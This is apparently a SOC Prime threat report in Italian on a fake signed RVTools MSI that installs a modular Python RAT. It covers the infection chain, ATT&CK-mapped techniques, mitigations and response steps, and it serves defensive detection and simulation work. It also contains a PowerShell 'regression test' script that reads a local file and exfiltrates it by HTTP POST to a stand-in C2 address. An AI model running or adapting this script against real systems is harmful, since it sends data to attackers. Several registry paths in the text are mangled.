Mascheramento RVTools: Come un Falso Installatore Firmato Distribuisce un RAT Modulare in Python

SOC Prime Team

Segui

Mascheramento RVTools: Come un Falso Installatore Firmato Distribuisce un RAT Modulare in Python

Detection stack

AIDR
Alert
ETL
Query

Rapporto
Flusso di Attacco
Rilevamenti
Simulazioni

Sommario

Un installatore MSI malevolo, firmato con un certificato legittimo, si maschera come l’utilità RVTools usata dagli amministratori VMware. Una volta eseguito, l’installatore rilascia un VBScript che avvia PowerShell per scaricare un grande archivio ZIP da Dropbox. Tale archivio contiene un ambiente Python portabile che esegue un RAT multi-stadio capace di ricognizione, persistenza e comunicazione con server di comando e controllo con codici predefiniti.

Indagine

L’analisi ha tracciato l’MSI a un’azione VBScript personalizzata, Binary.MyScript.vbs, che decodificava un comando PowerShell offuscato. Quel comando scaricava un winp.zip payload in %APPDATA%, estraeva componenti e script Python come collector.py and Pmanager.py, e quindi stabiliva la persistenza tramite chiavi Run del registro e un’attività schedulata dopo il riavvio. I ricercatori hanno anche trovato che il RAT cifrava i dati raccolti con RC4 e si connetteva a cinque indirizzi IP fissi a intervalli di cinque minuti.

Mitigazione

Le organizzazioni dovrebbero applicare un rigoroso controllo di validazione della firma con controlli OCSP o CRL attivi, bloccare l’esecuzione di MSI non fidati e monitorare azioni VBScript personalizzate sospette incorporate nei pacchetti dell’installatore. I difensori dovrebbero anche prevenire esecuzioni automatiche di script scaricati, controllare nuove voci di chiave Run e la creazione di attività schedulate, e allertare su traffico in uscita verso indirizzi IP codificati non familiari.

Risposta

Se questa attività viene rilevata, isolare immediatamente il terminale interessato, raccogliere l’MSI, il VBScript e i file payload estratti per l’analisi forense, e rimuovere tutti gli artefatti di persistenza, comprese le chiavi Run e le attività schedulate. Gli indirizzi IP dei server di comando e controllo identificati devono essere bloccati al firewall, e deve essere effettuata una revisione più ampia delle credenziali e delle attività di Active Directory per determinare se si è verificato uno spostamento laterale.

"graph TB %% Class definitions classDef phase fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef artifact fill:#e0e0e0 classDef persistence fill:#c2f0c2 classDef c2 fill:#f9c2c2 classDef evasion fill:#f0e68c %% Phases phase_initial_access["Phase: Initial Access Action – Victim executes a signed malicious MSI that masquerades as RVTools."] class phase_initial_access phase phase_execution["Phase: Execution Action – MSI uses Msiexec to run a VBScript which launches a hidden PowerShell downloader."] class phase_execution phase phase_payload["Phase: Payload Deployment Action – Archive is unpacked to a portable WinPython environment containing collector.py and manager.py."] class phase_payload phase phase_persistence["Phase: Persistence Action – Python manager creates Registry Run key, Scheduled Task and Active Setup entry."] class phase_persistence phase phase_c2["Phase: Command and Control Action – Collected data is archived, encrypted with RC4 and exfiltrated over HTTP POST to hardu2011coded IPs."] class phase_c2 phase phase_evasion["Phase: Defense Evasion Action – Use of signed binaries, proxy execution, and character obfuscation to bypass detections."] class phase_evasion phase %% Techniques for Initial Access tech_user_execution["Technique T1204.002 User Execution: Malicious File Victim runs a malicious file they believe to be legitimate."] class tech_user_execution technique tech_masquerading["Technique T1036.001 Masquerading Binary is signed and named like a legitimate utility (RVTools)."] class tech_masquerading technique tech_trusted_dev_proxy["Technique T1127 Trusted Developer Utilities Proxy Execution Signed binary is used to bypass reputation checks."] class tech_trusted_dev_proxy technique %% Techniques for Execution tech_msiexec_proxy["Technique T1218.007 System Binary Proxy Execution: Msiexec Msiexec is invoked to run the malicious MSI."] class tech_msiexec_proxy technique tech_vbscript["Technique T1059.005 Command and Scripting Interpreter: Visual Basic Custom action launches a VBScript payload."] class tech_vbscript technique tech_powershell["Technique T1059.001 Command and Scripting Interpreter: PowerShell VBScript decodes and executes a hidden PowerShell download command."] class tech_powershell technique %% Techniques for Payload Deployment tech_archive_custom["Technique T1560.003 Archive Collected Data: Archive via Custom Method 33u202fMB zip (winp.zip) is downloaded and unpacked to create a portable Python environment."] class tech_archive_custom technique %% Techniques for Persistence tech_registry_run["Technique T1037.004 Boot or Logon Initialization Scripts: Registry Run Registry Run key is created to launch manager.py at startup."] class tech_registry_run persistence tech_scheduled_task["Technique T1053 Scheduled Task/Job Daily scheduled task is created to run with SYSTEM privileges."] class tech_scheduled_task persistence tech_active_setup["Technique T1547.014 Boot or Logon Autostart Execution: Active Setup Active Setup entry is added to ensure execution for each user."] class tech_active_setup persistence tech_hijack_execution["Technique T1574 Hijack Execution Flow Scheduled task is used to hijack normal execution paths."] class tech_hijack_execution evasion %% Techniques for Command and Control tech_exfil_unencrypted["Technique T1048.003 Exfiltration Over Unencrypted Nonu2011C2 Protocol Data is sent via HTTP POST to hardu2011coded IP addresses."] class tech_exfil_unencrypted c2 tech_exfil_asymmetric["Technique T1048.002 Exfiltration Over Asymmetric Encrypted Nonu2011C2 Protocol Data is encrypted with RC4 before transmission."] class tech_exfil_asymmetric c2 %% Techniques for Defense Evasion tech_system_script_proxy["Technique T1216.002 System Script Proxy Execution: SyncAppvPublishingServer Trusted scripts act as proxies to hide malicious activity."] class tech_system_script_proxy evasion tech_system_binary_proxy["Technique T1218 System Binary Proxy Execution Signed utilities (Msiexec) are abused to bypass application control."] class tech_system_binary_proxy evasion %% Artifacts artifact_msi["Artifact: malicious_RVTools.msi Signed MSI used for initial access."] class artifact_msi artifact artifact_zip["Artifact: winp.zip Dropbox hosted archive containing portable WinPython."] class artifact_zip artifact artifact_python_env["Artifact: WinPython environment Contains collector.py and manager.py for reconnaissance."] class artifact_python_env artifact artifact_registry_key["Artifact: Registry Run Key HKCUSoftwareMicrosoftWindowsCurrentVersionRunWinPythonMgr"] class artifact_registry_key artifact artifact_scheduled_task["Artifact: Scheduled Task Name: WinPythonDaily, runs with SYSTEM."] class artifact_scheduled_task artifact artifact_active_setup["Artifact: Active Setup Entry HKLMSoftwareMicrosoftActive SetupInstalled ComponentsWinPython"] class artifact_active_setup artifact artifact_c2_ip["Artifact: C2 IP addresses Hardu2011coded IPv4 addresses contacted over HTTP."] class artifact_c2_ip artifact %% Connections phase_initial_access –>|uses| tech_user_execution phase_initial_access –>|uses| tech_masquerading phase_initial_access –>|uses| tech_trusted_dev_proxy phase_initial_access –>|delivers| artifact_msi tech_user_execution –>|executes| artifact_msi tech_masquerading –>|enables| artifact_msi tech_trusted_dev_proxy –>|bypasses| artifact_msi phase_execution –>|leverages| tech_msiexec_proxy tech_msiexec_proxy –>|runs| tech_vbscript tech_vbscript –>|launches| tech_powershell tech_powershell –>|downloads| artifact_zip artifact_zip –>|unpacked to create| artifact_python_env phase_payload –>|contains| artifact_python_env phase_persistence –>|creates| tech_registry_run phase_persistence –>|creates| tech_scheduled_task phase_persistence –>|creates| tech_active_setup phase_persistence –>|uses| tech_hijack_execution tech_registry_run –>|writes| artifact_registry_key tech_scheduled_task –>|creates| artifact_scheduled_task tech_active_setup –>|writes| artifact_active_setup phase_c2 –>|archives and encrypts data| tech_archive_custom tech_archive_custom –>|sends via| tech_exfil_unencrypted tech_exfil_unencrypted –>|uses| artifact_c2_ip tech_exfil_unencrypted –>|also uses| tech_exfil_asymmetric phase_evasion –>|applies| tech_system_script_proxy phase_evasion –>|applies| tech_system_binary_proxy tech_system_binary_proxy –>|facilitates| tech_msiexec_proxy tech_system_script_proxy –>|facilitates| tech_vbscript "

Flusso di Attacco

Narrazione e Comandi di Attacco:
Un avversario che ha già stabilito un punto d’appoggio sulla macchina vittima decide di esfiltrare un piccolo set di dati (ad esempio, C:Tempsecret.txt). Per evitare di attivare avvisi generici di traffico in uscita, l’attore utilizza un PowerShell one-liner che esegue un HTTP POST direttamente a uno degli IP C2 codificati (192.0.2.10). Il comando è pianificato tramite un Attività Pianificata di Windows per garantire la persistenza (T1546.013). Non vengono lasciati binari aggiuntivi, mantenendo l’attività ‘vivente del territorio’.

Script di Test di Regressione:

# -------------------------------------------------
# Script PowerShell – Esfiltrazione dati tramite IP codificato
# -------------------------------------------------
$c2Ip   = "192.0.2.10"
$c2Port = 80
$uri    = "http://$c2Ip/exfil"
$file   = "C:Tempsecret.txt"

# Assicurati che il file esista (crea dati simbolici per il test)
if (-Not (Test-Path $file)) {
    "dati sensibili $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
}

# Leggi il contenuto del file e codificalo in Base64
$payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))

# Effettua l'HTTP POST
$body = @{ data = $payload }
try {
    Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
    Write-Host "Tentativo di esfiltrazione inviato a $c2Ip"
} catch {
    Write-Error "Esfiltrazione fallita: $_"
}

Comandi di Pulizia:

# Rimuovi il file simbolico
Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue

# Elimina qualsiasi attività pianificata creata per il test (se presente)
$taskName = "DataExfilTask"
if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
    Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
}

Unisciti alla piattaforma Detection as Code di SOC Prime per migliorare la visibilità sulle minacce più rilevanti per il tuo business. Per aiutarti a iniziare e aumentare immediatamente il valore, prenota ora un incontro con gli esperti di SOC Prime.

Iscriviti gratis